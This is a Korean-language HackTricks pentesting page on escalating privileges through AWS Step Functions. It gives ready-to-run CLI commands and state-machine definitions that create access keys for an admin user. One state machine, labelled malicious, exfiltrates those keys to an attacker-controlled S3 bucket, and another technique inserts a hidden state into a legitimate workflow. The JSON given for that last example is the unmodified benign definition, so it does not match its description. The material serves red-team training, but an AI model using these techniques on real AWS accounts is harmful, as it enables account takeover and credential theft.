AWS - Step Functions Privesc

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Step Functions

For more information about this AWS service, check:

AWS - Step Functions Enum

작업 리소스

이러한 privilege escalation techniques는 원하는 privilege escalation actions을 수행하기 위해 일부 AWS Step Functions 리소스를 사용해야 합니다.

가능한 모든 action을 확인하려면, 자신의 AWS 계정에서 사용하려는 action을 선택하고 해당 action이 사용하는 파라미터를 확인할 수 있습니다. 예:

또는 AWS API 문서에서 각 action의 문서를 확인할 수도 있습니다:

states:TestState & iam:PassRole

states:TestState & iam:PassRole 권한을 가진 공격자는 기존 state machine을 생성하거나 업데이트하지 않고도 임의의 state를 테스트하고 어떤 IAM role도 해당 state에 넘길 수 있어, 그 역할의 권한으로 다른 AWS 서비스에 대한 무단 접근을 가능하게 할 수 있습니다. 이러한 권한들이 결합되면 워크플로 조작, 데이터 변경, 데이터 유출, 리소스 조작 및 privilege escalation까지 포함한 광범위한 무단 행위로 이어질 수 있습니다.

aws stepfunctions test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]

다음 예제들은 이러한 권한과 AWS 환경의 permissive role을 활용하여 admin 사용자에 대한 액세스 키를 생성하는 state를 테스트하는 방법을 보여줍니다. 이 permissive role에는 state가 iam:CreateAccessKey 작업을 수행할 수 있도록 하는 고권한 정책(예: arn:aws:iam::aws:policy/AdministratorAccess)이 연결되어 있어야 합니다:

  • stateDefinition.json:
{
"Type": "Task",
"Parameters": {
"UserName": "admin"
},
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"End": true
}
  • 명령 privesc를 수행하기 위해 실행된:
aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole

{
"output": "{
\"AccessKey\":{
\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
\"CreateDate\":\"2024-07-09T16:59:11Z\",
\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
\"Status\":\"Active\",
\"UserName\":\"admin\"
}
}",
"status": "SUCCEEDED"
}

잠재적 영향: 워크플로우의 무단 실행 및 조작과 민감한 리소스에 대한 접근으로 이어질 수 있으며, 잠재적으로 심각한 보안 침해를 초래할 수 있습니다.

states:CreateStateMachine & iam:PassRole & (states:StartExecution | states:StartSyncExecution)

states:CreateStateMachine& iam:PassRole 권한을 가진 공격자는 state machine을 생성하고 임의의 IAM role을 할당할 수 있어, 해당 role의 권한으로 다른 AWS 서비스에 무단으로 접근할 수 있습니다. 이전 privesc 기법(states:TestState & iam:PassRole)과는 달리, 이 권한만으로는 자동으로 실행되지 않으며 state machine을 실행하려면 states:StartExecution 또는 states:StartSyncExecution 권한이 추가로 필요합니다. (**states:StartSyncExecution**은 표준 워크플로우에서는 사용할 수 없고, state machines를 표현하는 용도로만 제공됩니다.)

# Create a state machine
aws stepfunctions create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

# Start a state machine execution
aws stepfunctions start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

# Start a Synchronous Express state machine execution
aws stepfunctions start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

다음 예제들은 state machine을 생성하여 admin 사용자에 대한 액세스 키를 생성하고, 이 액세스 키를 공격자가 제어하는 S3 버킷으로 exfiltrates하는 방법을 보여줍니다. 이는 AWS 환경의 해당 권한들과 permissive role을 활용합니다. 이 permissive role에는 state machine이 iam:CreateAccessKeys3:putObject 작업을 수행할 수 있도록 하는 고권한 정책(예: arn:aws:iam::aws:policy/AdministratorAccess)이 연결되어 있어야 합니다.

  • stateMachineDefinition.json:
{
"Comment": "Malicious state machine to create IAM access key and upload to S3",
"StartAt": "CreateAccessKey",
"States": {
"CreateAccessKey": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"Parameters": {
"UserName": "admin"
},
"ResultPath": "$.AccessKeyResult",
"Next": "PrepareS3PutObject"
},
"PrepareS3PutObject": {
"Type": "Pass",
"Parameters": {
"Body.$": "$.AccessKeyResult.AccessKey",
"Bucket": "attacker-controlled-S3-bucket",
"Key": "AccessKey.json"
},
"ResultPath": "$.S3PutObjectParams",
"Next": "PutObject"
},
"PutObject": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
"Parameters": {
"Body.$": "$.S3PutObjectParams.Body",
"Bucket.$": "$.S3PutObjectParams.Bucket",
"Key.$": "$.S3PutObjectParams.Key"
},
"End": true
}
}
}
  • Commandstate machine을 생성하기 위해 실행됨:
aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
"creationDate": "2024-07-09T20:29:35.381000+02:00"
}
  • 명령은 이전에 생성된 state machine의 실행을 시작하기 위해 실행됨:
aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
"startDate": "2024-07-09T20:33:35.466000+02:00"
}

Warning

공격자가 제어하는 S3 버킷은 피해자 계정으로부터 s3:PutObject 액션을 수락할 수 있는 권한을 가져야 합니다.

잠재적 영향: 워크플로우의 무단 실행 및 조작과 민감한 리소스에 대한 접근을 초래하여 심각한 보안 침해로 이어질 수 있습니다.

states:UpdateStateMachine & (항상 필요한 것은 아님) iam:PassRole

states:UpdateStateMachine 권한을 가진 공격자는 state machine의 정의를 수정하여 은밀한 추가 상태를 넣을 수 있으며, 이는 privilege escalation으로 이어질 수 있습니다. 이렇게 추가된 악의적인 은닉 상태는 정상 사용자가 state machine 실행을 시작할 때 실행되어 privilege escalation이 성공합니다.

state machine에 연결된 IAM Role의 권한 범위가 얼마나 관대한지에 따라 공격자는 두 가지 상황에 직면할 수 있습니다:

  1. 권한이 관대한 IAM Role: state machine에 연결된 IAM Role이 이미 관대하다면(예: arn:aws:iam::aws:policy/AdministratorAccess 정책이 붙어 있는 경우), 권한을 상승시키기 위해 iam:PassRole 권한은 필요하지 않습니다. IAM Role을 추가로 업데이트할 필요 없이 state machine 정의만으로 충분하기 때문입니다.
  2. 권한이 제한된 IAM Role: 이전 경우와 달리, 이 경우 공격자는 iam:PassRole 권한도 필요합니다. state machine 정의를 수정하는 것 외에, 관대한 IAM Role을 state machine에 연결해야 하기 때문입니다.
aws stepfunctions update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

다음 예제들은 HelloWorld Lambda 함수를 호출하는 정상적인 상태 머신을 업데이트하여 사용자 unprivilegedUseradministrator IAM Group에 추가하는 추가 상태를 삽입하는 방법을 보여줍니다. 이렇게 하면 정당한 사용자가 업데이트된 상태 머신의 실행을 시작할 때 이 새로운 은밀한 악성 상태가 실행되어 권한 상승이 성공합니다.

Warning

상태 머신에 권한이 넉넉한 IAM Role이 연결되어 있지 않다면, 권한이 넉넉한 IAM Role을 연관시키기 위해 IAM Role을 업데이트할 때 iam:PassRole 권한도 필요합니다 (예: arn:aws:iam::aws:policy/AdministratorAccess 정책이 첨부된 경우).

{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}
  • 명령정상 상태 머신업데이트하기 위해 실행됨:
aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
"updateDate": "2024-07-10T20:07:10.294000+02:00",
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}

잠재적 영향: 워크플로의 무단 실행 및 조작과 민감한 리소스에 대한 접근으로 인해 심각한 보안 침해로 이어질 수 있음.

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기